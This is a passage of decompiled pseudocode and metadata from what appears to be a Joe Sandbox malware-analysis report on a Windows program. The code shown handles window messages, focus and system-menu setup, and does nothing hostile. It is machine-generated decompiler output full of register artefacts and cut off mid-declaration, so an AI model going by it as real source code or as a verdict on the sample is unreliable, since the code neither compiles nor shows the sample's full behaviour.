                                                          				struct HWND__* _t142;
                                                          				intOrPtr _t143;
                                                          				intOrPtr _t153;
                                                          				struct HWND__* _t160;
                                                          				struct HWND__* _t162;
                                                          				int _t165;
                                                          				int _t168;
                                                          				struct HWND__* _t169;
                                                          				struct HWND__* _t180;
                                                          				struct HWND__* _t186;
                                                          				intOrPtr _t187;
                                                          				struct HWND__* _t190;
                                                          				intOrPtr _t191;
                                                          				int _t198;
                                                          				struct HWND__* _t202;
                                                          				struct HWND__* _t207;
                                                          				struct HWND__* _t214;
                                                          				struct HWND__* _t216;
                                                          				intOrPtr _t217;
                                                          				struct HWND__* _t219;
                                                          				intOrPtr _t225;
                                                          				struct HWND__* _t241;
                                                          				struct HWND__* _t246;
                                                          				intOrPtr _t247;
                                                          				intOrPtr _t249;
                                                          				intOrPtr _t257;
                                                          				struct HWND__* _t262;
                                                          				int _t265;
                                                          				intOrPtr _t269;
                                                          				intOrPtr* _t274;
                                                          				void* _t279;
                                                          				intOrPtr _t281;
                                                          				struct HWND__* _t285;
                                                          				struct HWND__* _t286;
                                                          				void* _t300;
                                                          				void* _t303;
                                                          				intOrPtr _t313;
                                                          				intOrPtr _t314;
                                                          				intOrPtr _t330;
                                                          				void* _t331;
                                                          				void* _t333;
                                                          				void* _t338;
                                                          				void* _t339;
                                                          				intOrPtr _t340;
                                                          
                                                          				_push(_t333);
                                                          				_push(_t331);
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_push(_t339);
                                                          				_push(0x424374);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t340;
                                                          				 *(_v12 + 0xc) = 0;
                                                          				_t279 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x80)) + 8)) - 1;
                                                          				if(_t279 < 0) {
                                                          					L5:
                                                          					E00423D80(_v8, _v12);
                                                          					_t281 =  *_v12;
                                                          					_t129 = _t281;
                                                          					__eflags = _t129 - 0x112;
                                                          					if(__eflags > 0) {
                                                          						__eflags = _t129 - 0xb017;
                                                          						if(__eflags > 0) {
                                                          							_t130 = _t129 - 0xb01a;
                                                          							__eflags = _t130;
                                                          							if(_t130 == 0) {
                                                          								_t133 = IsIconic( *(_v8 + 0x20));
                                                          								__eflags = _t133;
                                                          								if(_t133 == 0) {
                                                          									_t135 = GetFocus();
                                                          									_t314 = _v8;
                                                          									__eflags = _t135 -  *((intOrPtr*)(_t314 + 0x20));
                                                          									if(_t135 ==  *((intOrPtr*)(_t314 + 0x20))) {
                                                          										_t137 = E0041F20C(0);
                                                          										__eflags = _t137;
                                                          										if(_t137 != 0) {
                                                          											SetFocus(_t137);
                                                          										}
                                                          									}
                                                          								}
                                                          								L87:
                                                          								_t134 = 0;
                                                          								_pop(_t313);
                                                          								 *[fs:eax] = _t313;
                                                          								goto L88;
                                                          							}
                                                          							_t139 = _t130 - 5;
                                                          							__eflags = _t139;
                                                          							if(_t139 == 0) {
                                                          								E00424A68(_v8,  *(_v12 + 8),  *(_v12 + 4));
                                                          								goto L87;
                                                          							}
                                                          							_t142 = _t139 - 1;
                                                          							__eflags = _t142;
                                                          							if(_t142 == 0) {
                                                          								_t143 = _v12;
                                                          								__eflags =  *(_t143 + 4);
                                                          								if( *(_t143 + 4) != 0) {
                                                          									E00424744(_v8,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
                                                          								} else {
                                                          									E004246EC(_v8, _t331, _t333,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
                                                          								}
                                                          								goto L87;
                                                          							}
                                                          							__eflags = _t142 == 0x11;
                                                          							if(_t142 == 0x11) {
                                                          								_t153 = _v12;
                                                          								__eflags =  *((intOrPtr*)(_t153 + 4)) - 1;
                                                          								if( *((intOrPtr*)(_t153 + 4)) != 1) {
                                                          									 *(_v8 + 0x88) =  *(_v12 + 8);
                                                          								} else {
                                                          									 *(_v12 + 0xc) =  *(_v8 + 0x88);
                                                          								}
                                                          							} else {
                                                          								L86:
                                                          								E00423D9C(_t339); // executed
                                                          							}
                                                          							goto L87;
                                                          						}
                                                          						if(__eflags == 0) {
                                                          							_t160 =  *(_v8 + 0x28);
                                                          							__eflags = _t160;
                                                          							if(_t160 != 0) {
                                                          								_t335 = _t160;
                                                          								_t162 = E004183F8(_t160);
                                                          								__eflags = _t162;
                                                          								if(_t162 != 0) {
                                                          									_t165 = IsWindowEnabled(E004183F8(_t335));
                                                          									__eflags = _t165;
                                                          									if(_t165 != 0) {
                                                          										_t168 = IsWindowVisible(E004183F8(_t335));
                                                          										__eflags = _t168;
                                                          										if(_t168 != 0) {
                                                          											 *0x48c57c = 0;
                                                          											_t169 = GetFocus();
                                                          											SetFocus(E004183F8(_t335));
                                                          											E00415458(_t335,  *(_v12 + 4), 0x112,  *(_v12 + 8));
                                                          											SetFocus(_t169);
                                                          											 *0x48c57c = 1;
                                                          											 *(_v12 + 0xc) = 1;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          							goto L87;
                                                          						}
                                                          						_t180 = _t129 + 0xfffffece - 7;
                                                          						__eflags = _t180;
                                                          						if(_t180 < 0) {
                                                          							 *(_v12 + 0xc) = SendMessageA( *(_v12 + 8), _t281 + 0xbc00,  *(_v12 + 4),  *(_v12 + 8));
                                                          							goto L87;
                                                          						}
                                                          						_t186 = _t180 - 0xaec7;
                                                          						__eflags = _t186;
                                                          						if(_t186 == 0) {
                                                          							_t187 = _v8;
                                                          							__eflags =  *((short*)(_t187 + 0xbe));
                                                          							if( *((short*)(_t187 + 0xbe)) != 0) {
                                                          								 *((intOrPtr*)(_v8 + 0xbc))();
                                                          							}
                                                          							goto L87;
                                                          						}
                                                          						_t190 = _t186 - 1;
                                                          						__eflags = _t190;
                                                          						if(_t190 == 0) {
                                                          							_t191 = _v8;
                                                          							__eflags =  *((short*)(_t191 + 0xb6));
                                                          							if( *((short*)(_t191 + 0xb6)) != 0) {
                                                          								 *((intOrPtr*)(_v8 + 0xb4))();
                                                          							}
                                                          							goto L87;
                                                          						}
                                                          						__eflags = _t190 == 0x15;
                                                          						if(_t190 == 0x15) {
                                                          							_t285 =  *(_v8 + 0x28);
                                                          							__eflags = _t285;
                                                          							if(_t285 != 0) {
                                                          								__eflags =  *(_t285 + 0x124);
                                                          								if( *(_t285 + 0x124) != 0) {
                                                          									_t198 = IsWindowEnabled(E004183F8(_t285));
                                                          									__eflags = _t198;
                                                          									if(_t198 != 0) {
                                                          										_t202 = E00412528( *((intOrPtr*)( *(_v8 + 0x28) + 0x124)), _v12);
                                                          										__eflags = _t202;
                                                          										if(_t202 != 0) {
                                                          											 *(_v12 + 0xc) = 1;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          							goto L87;
                                                          						} else {
                                                          							goto L86;
                                                          						}
                                                          					}
                                                          					if(__eflags == 0) {
                                                          						_t207 = ( *(_v12 + 4) & 0x0000fff0) - 0xf020;
                                                          						__eflags = _t207;
                                                          						if(_t207 == 0) {
                                                          							E004243AC(_v8, _t287);
                                                          						} else {
                                                          							__eflags = _t207 == 0x100;
                                                          							if(_t207 == 0x100) {
                                                          								E004243F4(_v8);
                                                          							} else {
                                                          								E00423D9C(_t339);
                                                          							}
                                                          						}
                                                          						goto L87;
                                                          					}
                                                          					__eflags = _t129 - 0x14;
                                                          					if(__eflags > 0) {
                                                          						_t214 = _t129 - 0x15;
                                                          						__eflags = _t214;
                                                          						if(_t214 == 0) {
                                                          							__eflags =  *0x48c594 - 0x20;
                                                          							if( *0x48c594 >= 0x20) {
                                                          								__eflags =  *0x48d648;
                                                          								if( *0x48d648 != 0) {
                                                          									 *0x48d648();
                                                          								}
                                                          							}
                                                          							goto L87;
                                                          						}
                                                          						_t216 = _t214 - 1;
                                                          						__eflags = _t216;
                                                          						if(_t216 == 0) {
                                                          							_t217 = _v12;
                                                          							__eflags =  *(_t217 + 4);
                                                          							if( *(_t217 + 4) != 0) {
                                                          								E00404FA4();
                                                          							}
                                                          							goto L87;
                                                          						}
                                                          						_t219 = _t216 - 6;
                                                          						__eflags = _t219;
                                                          						if(_t219 == 0) {
                                                          							E00423D9C(_t339);
                                                          							_pop(_t300);
                                                          							asm("sbb eax, eax");
                                                          							 *((char*)(_v8 + 0x7d)) =  ~( ~( *(_v12 + 4)));
                                                          							_t225 = _v12;
                                                          							__eflags =  *(_t225 + 4);
                                                          							if( *(_t225 + 4) == 0) {
                                                          								E00423C9C(_v8, _t300);
                                                          								PostMessageA( *(_v8 + 0x20), 0xb001, 0, 0); // executed
                                                          							} else {
                                                          								E00423D2C(_v8);
                                                          								PostMessageA( *(_v8 + 0x20), 0xb000, 0, 0);
                                                          							}
                                                          							goto L87;
                                                          						}
                                                          						__eflags = _t219 == 0x1b;
                                                          						if(_t219 == 0x1b) {
                                                          							 *(_v12 + 0xc) = E00424390(_v8);
                                                          							goto L87;
                                                          						} else {
                                                          							goto L86;
                                                          						}
                                                          					}
                                                          					if(__eflags == 0) {
                                                          						 *_v12 = 0x27;
                                                          						E00423D9C(_t339);
                                                          						goto L87;
                                                          					}
                                                          					_t241 = _t129 - 7;
                                                          					__eflags = _t241;
                                                          					if(_t241 == 0) {
                                                          						PostMessageA( *(_v8 + 0x20), 0xb01a, 0, 0);
                                                          						E00423D9C(_t339);
                                                          						goto L87;
                                                          					}
                                                          					_t246 = _t241 - 3;
                                                          					__eflags = _t246;
                                                          					if(_t246 == 0) {
                                                          						_t247 = _v12;
                                                          						__eflags =  *(_t247 + 4);
                                                          						if( *(_t247 + 4) == 0) {
                                                          							E00423D9C(_t339);
                                                          							_pop(_t303);
                                                          							_t249 = _v8;
                                                          							__eflags =  *(_t249 + 0x84);
                                                          							if( *(_t249 + 0x84) == 0) {
                                                          								 *((intOrPtr*)(_v8 + 0x84)) = E0041F0BC( *(_v8 + 0x20), _t281, _t331, _t333);
                                                          							}
                                                          							E00423C9C(_v8, _t303);
                                                          						} else {
                                                          							E00423D2C(_v8);
                                                          							_t257 = _v8;
                                                          							_t258 =  *(_t257 + 0x84);
                                                          							__eflags =  *(_t257 + 0x84);
                                                          							if( *(_t257 + 0x84) != 0) {
                                                          								E0041F170(_t258);
                                                          								__eflags = 0;
                                                          								 *((intOrPtr*)(_v8 + 0x84)) = 0;
                                                          							}
                                                          							E00423D9C(_t339);
                                                          						}
                                                          						goto L87;
                                                          					}
                                                          					_t262 = _t246 - 5;
                                                          					__eflags = _t262;
                                                          					if(_t262 == 0) {
                                                          						_t265 = IsIconic( *(_v8 + 0x20));
                                                          						__eflags = _t265;
                                                          						if(_t265 == 0) {
                                                          							E00423D9C(_t339);
                                                          						} else {
                                                          							E00423DD8(_t339);
                                                          						}
                                                          						goto L87;
                                                          					}
                                                          					__eflags = _t262 == 1;
                                                          					if(_t262 == 1) {
                                                          						_t269 = _v8;
                                                          						_t270 =  *(_t269 + 0x28);
                                                          						__eflags =  *(_t269 + 0x28);
                                                          						if( *(_t269 + 0x28) != 0) {
                                                          							E00422E64(_t270, _t287);
                                                          						}
                                                          						goto L87;
                                                          					} else {
                                                          						goto L86;
                                                          					}
                                                          				} else {
                                                          					_t286 = _t279 + 1;
                                                          					_t338 = 0;
                                                          					while(1) {
                                                          						_t274 = E0040B654( *((intOrPtr*)(_v8 + 0x80)), _t338);
                                                          						_t287 = _t274;
                                                          						if( *_t274() != 0) {
                                                          							_t134 = 0;
                                                          							_pop(_t330);
                                                          							 *[fs:eax] = _t330;
                                                          							break;
                                                          						}
                                                          						_t338 = _t338 + 1;
                                                          						_t286 = _t286 - 1;
                                                          						__eflags = _t286;
                                                          						if(_t286 != 0) {
                                                          							continue;
                                                          						}
                                                          						goto L5;
                                                          					}
                                                          					L88:
                                                          					return _t134;
                                                          				}
                                                          			}




























































                                                          0x00423e2b
                                                          0x00423e2c
                                                          0x00423e2d
                                                          0x00423e30
                                                          0x00423e35
                                                          0x00423e36
                                                          0x00423e3b
                                                          0x00423e3e
                                                          0x00423e46
                                                          0x00423e55
                                                          0x00423e58
                                                          0x00423e8c
                                                          0x00423e92
                                                          0x00423e9a
                                                          0x00423e9c
                                                          0x00423e9e
                                                          0x00423ea3
                                                          0x00423f04
                                                          0x00423f09
                                                          0x00423f3f
                                                          0x00423f3f
                                                          0x00423f44
                                                          0x004242b9
                                                          0x004242be
                                                          0x004242c0
                                                          0x004242c6
                                                          0x004242cb
                                                          0x004242ce
                                                          0x004242d1
                                                          0x004242d9
                                                          0x004242de
                                                          0x004242e0
                                                          0x004242e7
                                                          0x004242e7
                                                          0x004242e0
                                                          0x004242d1
                                                          0x0042436a
                                                          0x0042436a
                                                          0x0042436c
                                                          0x0042436f
                                                          0x00000000
                                                          0x0042436f
                                                          0x00423f4a
                                                          0x00423f4a
                                                          0x00423f4d
                                                          0x004242fe
                                                          0x00000000
                                                          0x004242fe
                                                          0x00423f53
                                                          0x00423f53
                                                          0x00423f54
                                                          0x00424305
                                                          0x00424308
                                                          0x0042430c
                                                          0x00424331
                                                          0x0042430e
                                                          0x0042431c
                                                          0x0042431c
                                                          0x00000000
                                                          0x0042430c
                                                          0x00423f5a
                                                          0x00423f5d
                                                          0x00424338
                                                          0x0042433b
                                                          0x0042433f
                                                          0x0042435b
                                                          0x00424341
                                                          0x0042434d
                                                          0x0042434d
                                                          0x00423f63
                                                          0x00424363
                                                          0x00424364
                                                          0x00424369
                                                          0x00000000
                                                          0x00423f5d
                                                          0x00423f0b
                                                          0x004241cc
                                                          0x004241cf
                                                          0x004241d1
                                                          0x004241d7
                                                          0x004241db
                                                          0x004241e0
                                                          0x004241e2
                                                          0x004241f0
                                                          0x004241f5
                                                          0x004241f7
                                                          0x00424205
                                                          0x0042420a
                                                          0x0042420c
                                                          0x00424212
                                                          0x00424219
                                                          0x00424228
                                                          0x00424241
                                                          0x00424247
                                                          0x0042424c
                                                          0x00424256
                                                          0x00424256
                                                          0x0042420c
                                                          0x004241f7
                                                          0x004241e2
                                                          0x00000000
                                                          0x004241d1
                                                          0x00423f16
                                                          0x00423f16
                                                          0x00423f19
                                                          0x0042414f
                                                          0x00000000
                                                          0x0042414f
                                                          0x00423f1f
                                                          0x00423f1f
                                                          0x00423f24
                                                          0x00424262
                                                          0x00424265
                                                          0x0042426d
                                                          0x0042427f
                                                          0x0042427f
                                                          0x00000000
                                                          0x0042426d
                                                          0x00423f2a
                                                          0x00423f2a
                                                          0x00423f2b
                                                          0x0042428a
                                                          0x0042428d
                                                          0x00424295
                                                          0x004242a7
                                                          0x004242a7
                                                          0x00000000
                                                          0x00424295
                                                          0x00423f31
                                                          0x00423f34
                                                          0x00424171
                                                          0x00424174
                                                          0x00424176
                                                          0x0042417c
                                                          0x00424183
                                                          0x00424191
                                                          0x00424196
                                                          0x00424198
                                                          0x004241ad
                                                          0x004241b2
                                                          0x004241b4
                                                          0x004241bd
                                                          0x004241bd
                                                          0x004241b4
                                                          0x00424198
                                                          0x00424183
                                                          0x00000000
                                                          0x00423f3a
                                                          0x00000000
                                                          0x00423f3a
                                                          0x00423f34
                                                          0x00423ea5
                                                          0x00423f73
                                                          0x00423f73
                                                          0x00423f78
                                                          0x00423f86
                                                          0x00423f7a
                                                          0x00423f7a
                                                          0x00423f7f
                                                          0x00423f93
                                                          0x00423f81
                                                          0x00423f9e
                                                          0x00423fa3
                                                          0x00423f7f
                                                          0x00000000
                                                          0x00423f78
                                                          0x00423eab
                                                          0x00423eae
                                                          0x00423edd
                                                          0x00423edd
                                                          0x00423ee0
                                                          0x00423fc1
                                                          0x00423fc8
                                                          0x00423fce
                                                          0x00423fd5
                                                          0x00423fdb
                                                          0x00423fdb
                                                          0x00423fd5
                                                          0x00000000
                                                          0x00423fc8
                                                          0x00423ee6
                                                          0x00423ee6
                                                          0x00423ee7
                                                          0x00424157
                                                          0x0042415a
                                                          0x0042415e
                                                          0x00424164
                                                          0x00424164
                                                          0x00000000
                                                          0x0042415e
                                                          0x00423eed
                                                          0x00423eed
                                                          0x00423ef0
                                                          0x00424058
                                                          0x0042405d
                                                          0x00424066
                                                          0x0042406d
                                                          0x00424070
                                                          0x00424073
                                                          0x00424077
                                                          0x0042409e
                                                          0x004240b3
                                                          0x00424079
                                                          0x0042407c
                                                          0x00424091
                                                          0x00424091
                                                          0x00000000
                                                          0x00424077
                                                          0x00423ef6
                                                          0x00423ef9
                                                          0x0042402e
                                                          0x00000000
                                                          0x00423eff
                                                          0x00000000
                                                          0x00423eff
                                                          0x00423ef9
                                                          0x00423eb0
                                                          0x00424011
                                                          0x00424018
                                                          0x00000000
                                                          0x0042401d
                                                          0x00423eb6
                                                          0x00423eb6
                                                          0x00423eb9
                                                          0x00424046
                                                          0x0042404c
                                                          0x00000000
                                                          0x00424051
                                                          0x00423ebf
                                                          0x00423ebf
                                                          0x00423ec2
                                                          0x004240bd
                                                          0x004240c0
                                                          0x004240c4
                                                          0x004240f8
                                                          0x004240fd
                                                          0x004240fe
                                                          0x00424101
                                                          0x00424108
                                                          0x00424118
                                                          0x00424118
                                                          0x00424121
                                                          0x004240c6
                                                          0x004240c9
                                                          0x004240ce
                                                          0x004240d1
                                                          0x004240d7
                                                          0x004240d9
                                                          0x004240db
                                                          0x004240e3
                                                          0x004240e5
                                                          0x004240e5
                                                          0x004240ec
                                                          0x004240f1
                                                          0x00000000
                                                          0x004240c4
                                                          0x00423ec8
                                                          0x00423ec8
                                                          0x00423ecb
                                                          0x00423fed
                                                          0x00423ff2
                                                          0x00423ff4
                                                          0x00424003
                                                          0x00423ff6
                                                          0x00423ff7
                                                          0x00423ffc
                                                          0x00000000
                                                          0x00423ff4
                                                          0x00423ed1
                                                          0x00423ed2
                                                          0x00423fa9
                                                          0x00423fac
                                                          0x00423faf
                                                          0x00423fb1
                                                          0x00423fb7
                                                          0x00423fb7
                                                          0x00000000
                                                          0x00423ed8
                                                          0x00000000
                                                          0x00423ed8
                                                          0x00423e5a
                                                          0x00423e5a
                                                          0x00423e5b
                                                          0x00423e5d
                                                          0x00423e68
                                                          0x00423e6d
                                                          0x00423e79
                                                          0x00423e7b
                                                          0x00423e7d
                                                          0x00423e80
                                                          0x00423e83
                                                          0x00423e83
                                                          0x00423e88
                                                          0x00423e89
                                                          0x00423e89
                                                          0x00423e8a
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00423e8a
                                                          0x00424389
                                                          0x0042438f
                                                          0x0042438f

                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 19d728bb180632ed60709d6ff8f83aaff8664f03ef31dc92d2318837eab55329
                                                          • Instruction ID: 0778039014ccd3c11777a34a841eaf269347504b9359897c9e37115c01620468
                                                          • Opcode Fuzzy Hash: 19d728bb180632ed60709d6ff8f83aaff8664f03ef31dc92d2318837eab55329
                                                          • Instruction Fuzzy Hash: 20E15B34700225DBC750EF69E585A5EB7F4FB85304FA580AAE8059B352CB38EE81DB1D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1968 460f30-460f46 1969 460f50-461007 call 4203c4 call 402c78 * 6 1968->1969 1970 460f48-460f4b call 402e78 1968->1970 1987 461044-46105d 1969->1987 1988 461009-461030 call 414854 1969->1988 1970->1969 1994 46105f-461086 call 414834 1987->1994 1995 46109a-4610a8 call 48811c 1987->1995 1992 461035-46103f call 414814 1988->1992 1993 461032 1988->1993 1992->1987 1993->1992 2003 46108b-461095 call 4147f4 1994->2003 2004 461088 1994->2004 2001 4610aa-4610b9 call 487fdc 1995->2001 2002 4610bb-4610bd call 488100 1995->2002 2009 4610c2-461115 call 487bc8 call 41a5e8 * 2 2001->2009 2002->2009 2003->1995 2004->2003 2016 461126-46113b call 450c5c call 414d30 2009->2016 2017 461117-461124 call 414d30 2009->2017 2022 461140-461147 2016->2022 2017->2022 2024 46118f-461615 call 487f3c call 4881d8 call 414834 * 3 call 4148d4 call 4147f4 * 3 call 45b700 call 45b718 call 45b724 call 45b76c call 45b700 call 45b718 call 45b724 call 45b76c call 45b718 call 45b76c LoadBitmapA call 41d8c8 call 45b73c call 45b754 call 460d8c call 4627a4 call 4603d4 call 4036c4 call 414d30 call 46070c call 46073c call 4603d4 call 4036c4 * 2 call 414d30 call 4627a4 call 4603d4 call 414d30 call 46070c call 46073c call 414d30 * 2 call 4627a4 call 414d30 * 2 call 46070c call 414814 call 46070c call 414814 call 4627a4 call 414d30 call 46070c call 46073c call 4627a4 call 414d30 call 46070c call 414814 * 2 call 414d30 call 46070c call 414814 2022->2024 2025 461149-46118a call 4148d4 call 414918 call 4211b0 call 4211dc call 420d80 call 420dac 2022->2025 2155 461617-46166f call 414814 call 414d30 call 46070c call 414814 2024->2155 2156 461671-46168a call 414c5c * 2 2024->2156 2025->2024 2163 46168f-461740 call 4603d4 call 4627a4 call 4603d4 call 414d30 call 4881d8 call 46070c 2155->2163 2156->2163 2182 461742-46175d 2163->2182 2183 46177a-4619a1 call 4603d4 call 414d30 call 4881e8 * 2 call 42e79c call 414814 call 46070c call 414814 call 414d30 call 487f3c call 4881d8 call 414834 call 4603d4 call 414d30 call 46070c call 414814 call 4603d4 call 4627a4 call 4603d4 call 414d30 call 46070c call 414814 call 46073c call 4603d4 call 414d30 call 46070c 2163->2183 2184 461762-461775 call 414814 2182->2184 2185 46175f 2182->2185 2240 4619e2-461a9b call 4603d4 call 4627a4 call 4603d4 call 414d30 call 4881d8 call 46070c 2183->2240 2241 4619a3-4619ac 2183->2241 2184->2183 2185->2184 2259 461ad5-461f01 call 4603d4 call 414d30 call 4881e8 * 2 call 42e79c call 414814 call 46070c call 414814 call 414d30 call 487f3c call 4881d8 call 414834 call 414d30 call 4603d4 call 4627a4 call 4603d4 call 414d30 call 46070c call 46073c call 42bde8 call 4881e8 call 44e7d4 call 4603d4 call 4627a4 call 4603d4 call 4627a4 call 4603d4 call 4627a4 * 2 call 414d30 call 46070c call 46073c call 4627a4 call 487bc8 call 41a5e8 call 4603d4 call 4036c4 call 414d30 call 46070c call 414814 call 414d30 * 2 call 4881e8 call 4035dc call 4036c4 * 2 call 414d30 2240->2259 2260 461a9d-461ab8 2240->2260 2241->2240 2242 4619ae-4619dd call 414c5c call 46073c 2241->2242 2242->2240 2359 461f25-461f2c 2259->2359 2360 461f03-461f20 call 44fba8 call 44fcdc 2259->2360 2261 461abd-461ad0 call 414814 2260->2261 2262 461aba 2260->2262 2261->2259 2262->2261 2362 461f50-461f57 2359->2362 2363 461f2e-461f4b call 44fba8 call 44fcdc 2359->2363 2360->2359 2364 461f7b-461fc8 call 4183f8 GetSystemMenu AppendMenuA call 403880 AppendMenuA call 462898 2362->2364 2365 461f59-461f76 call 44fba8 call 44fcdc 2362->2365 2363->2362 2380 462071-462078 2364->2380 2381 461fce-461fd7 2364->2381 2365->2364 2382 46207e-4620a1 call 4717f8 call 403598 2380->2382 2383 46210c-46211a call 414d30 2380->2383 2384 462032-46206c call 414d30 * 3 2381->2384 2385 461fd9-462030 call 4717f8 call 414d30 call 4717f8 call 414d30 call 4717f8 call 414d30 2381->2385 2408 4620b3-4620c7 call 4035dc 2382->2408 2409 4620a3-4620b1 call 4035dc 2382->2409 2392 46211f-462128 2383->2392 2384->2380 2385->2380 2396 46212e-462146 call 42a1f0 2392->2396 2397 4621ca-4621e9 2392->2397 2417 4621a3-4621a7 2396->2417 2418 462148-46214c 2396->2418 2399 46222d-46225c call 42bb84 call 44e760 2397->2399 2400 4621eb-4621ef 2397->2400 2441 4622f2-4622fe 2399->2441 2442 462262-462266 2399->2442 2406 4621f1-462211 call 40b654 call 430178 2400->2406 2445 462227-46222b 2406->2445 2446 462213-462221 2406->2446 2430 4620d9-46210a call 42c8f0 call 42cc98 call 4035dc call 414d30 2408->2430 2432 4620c9-4620d4 call 4035dc 2408->2432 2409->2430 2422 4621bb-4621c5 call 42a274 2417->2422 2423 4621a9-4621b9 call 42a274 2417->2423 2426 46214e-462198 call 40b654 call 4717f8 call 406b28 2418->2426 2422->2397 2423->2397 2488 46219d-4621a1 2426->2488 2489 46219a 2426->2489 2430->2392 2432->2430 2457 462300-462316 call 46314c 2441->2457 2458 46236a-46236e 2441->2458 2448 462268-46227a call 40b654 2442->2448 2445->2399 2445->2406 2446->2445 2460 4622ac-4622e3 call 4717f8 call 44c8c0 2448->2460 2461 46227c-4622aa call 4717f8 call 44c990 2448->2461 2471 462407-46241c call 460aec call 460858 2457->2471 2474 46231c-462327 2457->2474 2464 462370-462387 call 40b654 2458->2464 2465 4623df-4623e8 2458->2465 2498 4622e8-4622ec 2460->2498 2461->2498 2482 4623bf-4623dd call 40b654 call 4631d4 2464->2482 2483 462389-4623bd call 40b654 call 4631d4 call 46314c 2464->2483 2465->2471 2472 4623ea-462402 call 40b654 call 4631d4 2465->2472 2505 46246e-462478 call 414c5c 2471->2505 2506 46241e-462441 call 42a258 call 40b654 2471->2506 2472->2471 2474->2471 2484 46232d-462331 2474->2484 2482->2471 2483->2471 2494 462333-462349 call 40b654 2484->2494 2488->2417 2488->2426 2489->2488 2510 46235f-462363 2494->2510 2511 46234b-46235a call 42a274 2494->2511 2498->2441 2498->2448 2514 46247d-46249c call 414c5c 2505->2514 2527 462443-46244a 2506->2527 2528 46244c-46245b call 414c5c 2506->2528 2510->2494 2518 462365 2510->2518 2511->2471 2525 4624c6-4624e9 call 4717f8 call 403598 2514->2525 2526 46249e-4624c1 call 42a258 call 463364 2514->2526 2518->2471 2541 462504-46250d 2525->2541 2542 4624eb-4624f2 2525->2542 2526->2525 2527->2528 2531 46245d-46246c call 414c5c 2527->2531 2528->2514 2531->2514 2544 462523-462533 call 4035dc 2541->2544 2545 46250f-462521 call 4037cc 2541->2545 2542->2541 2543 4624f4-462502 call 4035dc 2542->2543 2552 462545-46255c call 414d30 2543->2552 2544->2552 2545->2544 2553 462535-462540 call 4035dc 2545->2553 2557 462592-46259c call 414c5c 2552->2557 2558 46255e-462565 2552->2558 2553->2552 2564 4625a1-4625cf call 403548 * 3 2557->2564 2559 462567-462570 2558->2559 2560 462572-46257c call 42b2fc 2558->2560 2559->2560 2562 462581-462590 call 414c5c 2559->2562 2560->2562 2562->2564
                                                          C-Code - Quality: 96%
                                                          			E00460F30(void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __fp0) {
                                                          				char _v8;
                                                          				char _v9;
                                                          				intOrPtr _v16;
                                                          				char _v20;
                                                          				signed int _v24;
                                                          				intOrPtr _v28;
                                                          				intOrPtr* _v32;
                                                          				intOrPtr _v36;
                                                          				intOrPtr _v40;
                                                          				char _v44;
                                                          				char _v48;
                                                          				char _v52;
                                                          				char _v53;
                                                          				char _v54;
                                                          				char _v55;
                                                          				char _v56;
                                                          				char _v60;
                                                          				char _v64;
                                                          				char _t558;
                                                          				signed int _t574;
                                                          				signed int _t576;
                                                          				void* _t577;
                                                          				void* _t612;
                                                          				struct HINSTANCE__* _t652;
                                                          				intOrPtr _t695;
                                                          				intOrPtr _t696;
                                                          				intOrPtr _t719;
                                                          				intOrPtr _t720;
                                                          				intOrPtr _t744;
                                                          				intOrPtr _t745;
                                                          				intOrPtr _t760;
                                                          				intOrPtr _t761;
                                                          				intOrPtr _t794;
                                                          				void* _t807;
                                                          				void* _t832;
                                                          				void* _t851;
                                                          				intOrPtr _t883;
                                                          				intOrPtr _t916;
                                                          				void* _t929;
                                                          				void* _t955;
                                                          				intOrPtr _t977;
                                                          				intOrPtr _t1002;
                                                          				intOrPtr _t1030;
                                                          				intOrPtr _t1039;
                                                          				intOrPtr _t1048;
                                                          				intOrPtr _t1057;
                                                          				intOrPtr _t1058;
                                                          				void* _t1085;
                                                          				intOrPtr _t1121;
                                                          				intOrPtr _t1129;
                                                          				intOrPtr _t1132;
                                                          				void* _t1134;
                                                          				intOrPtr _t1141;
                                                          				void* _t1143;
                                                          				intOrPtr _t1146;
                                                          				intOrPtr _t1159;
                                                          				intOrPtr _t1164;
                                                          				void* _t1203;
                                                          				intOrPtr _t1204;
                                                          				intOrPtr _t1213;
                                                          				intOrPtr _t1218;
                                                          				intOrPtr _t1220;
                                                          				intOrPtr _t1221;
                                                          				intOrPtr _t1226;
                                                          				intOrPtr _t1237;
                                                          				void* _t1239;
                                                          				intOrPtr _t1241;
                                                          				intOrPtr _t1248;
                                                          				intOrPtr _t1270;
                                                          				intOrPtr _t1275;
                                                          				intOrPtr _t1279;
                                                          				void* _t1281;
                                                          				intOrPtr _t1289;
                                                          				intOrPtr _t1302;
                                                          				intOrPtr _t1335;
                                                          				intOrPtr _t1340;
                                                          				intOrPtr _t1345;
                                                          				intOrPtr _t1379;
                                                          				intOrPtr _t1445;
                                                          				intOrPtr* _t1456;
                                                          				intOrPtr _t1457;
                                                          				char _t1503;
                                                          				intOrPtr _t1523;
                                                          				intOrPtr _t1524;
                                                          				intOrPtr _t1525;
                                                          				intOrPtr _t1526;
                                                          				intOrPtr _t1536;
                                                          				intOrPtr _t1540;
                                                          				signed int _t1544;
                                                          				intOrPtr _t1557;
                                                          				intOrPtr _t1564;
